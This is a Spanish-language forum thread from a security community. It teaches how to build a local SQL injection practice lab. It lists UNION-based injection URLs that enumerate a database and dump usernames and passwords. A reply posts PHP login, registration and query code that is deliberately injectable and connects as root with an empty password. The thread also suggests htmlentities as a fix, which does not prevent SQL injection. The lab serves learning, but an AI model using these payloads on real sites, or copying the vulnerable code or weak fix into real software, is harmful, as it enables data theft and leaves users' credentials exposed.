Underc0de

[In]Seguridad Informática => Seguridad web y en servidores => Mensaje iniciado por: user_en1gm4 en Octubre 19, 2017, 03:56:48 AM

Título: Nuestro propio laboratorio de SQL Injection
Publicado por: user_en1gm4 en Octubre 19, 2017, 03:56:48 AM
Hola muchach@s! llevaba tiempo sin pasarme por aqui pero pues ya era hora de volver, esta vez les traigo un laboratorio que me arme para poder enseñar como se hace una injection sql manualmente, espero les guste.

Pueden montarlo en su propia maquina con un servidor local como xamp o wamp que ya tiene todo listo o a su propio servidor en internet, primero vamos a crear una base de datos MySql en nuestro servidor y crearemos una tabla llamada Clientes, el script quedaria algo asi:

CREATE TABLE `NOMBRE_BD`.`Clientes` ( `id` INT(2) NOT NULL AUTO_INCREMENT , `user` VARCHAR(30) NOT NULL , `password` VARCHAR(30) NOT NULL , `correo` VARCHAR(40) NOT NULL , `saldo` INT(3) NOT NULL , PRIMARY KEY (`id`)) ENGINE = InnoDB;

y se veria algo asi:
(http://4.bp.blogspot.com/-54TKvPbOOoA/UtADJzaPB_I/AAAAAAAABgM/c5RXDHu4ks4/s1600/img5inj.PNG)

llenan la tabla con algunos datos.

Aca les dejo los archivos necesarios para subir al servidor:
www.mega.nz/#F!kjYHhKYK!DJWNW9x6CIq9SOGarRzs2g (http://www.mega.nz/#F!kjYHhKYK!DJWNW9x6CIq9SOGarRzs2g)

Despues de descargarlos abrimos los tres archivos .php que se descargaron el archivo index.php, registro.php,sqli.php y llenan los datos como USUARIO_BD, CONTRASEÑA_BD Y NOMBRE_BD, depende tengan configurada su base de datos, al terminar esto solo queda subir todos los archivos a una carpeta del servidor y listo!


Abrimos a nuestro navegador y nos dirimos a donde tengamos los archivos por ejemplo:

http://localhost/taller_sql/

Nos saldra un login, primero nos registramos y luego iniciamos sesion son los anteriores datos, y listo estaremos adentro
, ahora si a jugar:



INYECCION:


PRIMERO SE MIRA SI ES VULNERABLE

http://localhost.com/taller_sql/sqli.php?id=1'


SE BUSCA EL NUMERO DE COLUMNAS DE LA TABLA

http://localhost/taller_sql/sqli.php?id=1+ORDER+BY+5--
http://localhost/taller_sql/sqli.php?id=1+UNION+SELECT+1,2,3,4,5--


SE MIRAN QUE CAMPOS CORRESPONDEN A QUE COLUMNA

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,5--


SE REVISA QUE VERSION DE BASE DE DATOS UTILIZA

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,VERSION(),3,4,5--

SE PUEDE VER EL TIPO DE CODIFICACION UTILIZA

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,charset('str')+from+information_schema.tables--

SE PUEDE OBTENER EL USUARIO CON EL QUE SE ESTA TRABJANDO LA BD

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,current_user(),3,4,5--

LISTA EL NUMERO DE TABLAS DE LA BD

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,group_concat(table_name)+from+information_schema.tables--

"convertir el nombre de la tabla en hexadecimal" Clientes: 436c69656e746573

VAMOS A IMPRIMIR EL NOMBRE DE LAS COLUMNAS DE LA TABLA DE LA BASE DE DATOS

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,group_concat(column_name)+from+information_schema.columns+where+table_name=0x436c69656e746573

Y LISTO AHORA SI PODEMOS OBTENER LOS DATOS

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,group_concat(user,0x20,password)+from+Clientes

TODO ESTO LO PODEMOS HACER GRACIAS A QUE NO VALIDAMOS EL ID QUE NOS LLEGA POR LE METODO GET, CON UNA FUNCION QUE NOS LIMPIE ESTA VARIBALE LO PODEMOS ARREGLAR, SOLO DEBEMOS HACER ESTO EN LA LINEA 31 DE EL ARCHIVO SQLI.PHP TENEMOS QUE:

   $id =  $_GET["id"];

y a lo ultimo hay una funcionar que se llama limpiarString(), lo que tenemos que hacer es hacer que el id que obtenemos por get se limpie asi:

   $id =  limpiarString($_GET["id"]);

y listo, esta es una forma muy basica para detenerlo, php ya tiene unas funciones como htmlentities o htmlspecialchars, ustedes deciden.

LISTO AMIGOS SU PROPIO LABORATORIO DE SQL INJECTION, ESPERO QUE LES SIRVA,UN SALUDO!

Título: Re:Nuestro propio laboratorio de SQL Injection
Publicado por: und3rc0de en Octubre 20, 2017, 07:50:41 PM
Voy a probarlo se ve interesante muchas gracias
Título: Re:Nuestro propio laboratorio de SQL Injection
Publicado por: elshotta en Febrero 01, 2018, 10:44:55 PM
gracias, pero esta algo desactualizado debido a que las funciones mysql_connect, mysql_select_db, y mysql_fetch_array ya no se usan en las versiones php 7
a ver si alguien lo puede actualizar ( ya intente actualizarlo con POO pero no soy bueno programando :S)
saludos
Título: Re:Nuestro propio laboratorio de SQL Injection
Publicado por: 1Byte en Febrero 07, 2018, 11:23:35 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
gracias, pero esta algo desactualizado debido a que las funciones mysql_connect, mysql_select_db, y mysql_fetch_array ya no se usan en las versiones php 7
a ver si alguien lo puede actualizar ( ya intente actualizarlo con POO pero no soy bueno programando :S)
saludos

Te refieres usando PDO "SOLO" para conectarte a la db ? porque segun tengo entendido PDO con el bindparam debería ayudar a protegerte de estos casos ...
Título: Re:Nuestro propio laboratorio de SQL Injection
Publicado por: elshotta en Febrero 15, 2018, 07:23:36 PM
listo, ya le saque un tiempo a editar estos archivos (aunque como les dije se muy poco de php), pero ya estan funcionales
a continuación les comparto el codigo:
INDEX.php
<?php


error_reporting
(E_ALL^E_NOTICE);
if(isset(
$_POST["enviar"])){

   
$usuario $_POST["usuario"];
   
$clave $_POST["clave"];

   
$con mysqli_connect("localhost","root","","sql"); /*<---- sql es el nombre de la base de datos, ustedes lo cambian según el nombre que le dieron a la base de datos  */
   
$select "SELECT * FROM Clientes WHERE user= '$usuario' AND password = '$clave'";
   
$query mysqli_query($con,$select);
   if (
$columna mysqli_fetch_array($query)){
  

   
header("location: sqli.php?id=".$columna[0]);
}
  
  else{

  
   echo 
'<script>alert("Usuario o contraseña incorrecta")</script>';

  }
  
}

?>

REGISTRO.PHP

<?php

if(isset($_POST["enviar"])){

   
$usuario $_POST["usuario"];
   
$clave $_POST["clave"];
   
$correo $_POST["correo"];
   
$saldo $_POST["saldo"];


  
$con mysqli_connect("localhost","root","","sql");
   
  
$select "INSERT INTO Clientes VALUES ('','$usuario','$clave','$correo','$saldo')";
   
mysqli_query($con,$select);
   
  
    echo 
'<script>alert("Usuario registrado correctamente")</script>';
  





}
?>

SQLI.php
<?php
  
if(isset($_GET["id"])){
   
$id =  $_GET["id"];
   
  
$con mysqli_connect("localhost","root","","sql");
   
$select "SELECT * FROM Clientes WHERE id=".$id;
   
$query mysqli_query($con,$select);
   
$columna mysqli_fetch_array($query);
   echo 
"<center><h2> <font color = 'blue'> Bienvenid@ </font> </h2></center>";
   echo 
"<font color = '#ffffff'> Hola: </font><font color = 'green'> ".$columna[1]."</font> <br>";
   echo 
"<font color = '#ffffff'> Su saldo es de: </font> <font color = 'green'> ".$columna[4]."</font> <br>";
  }
  else{
   
header("location: sqli.html");
  }
  
  
mysqli_close($con);




  function 
limpiarString($texto)
{
      
$textoLimpio preg_replace('([^0-9])'''$texto);                
      return 
$textoLimpio;
}
 
?>


saludos, espero que les sirva :)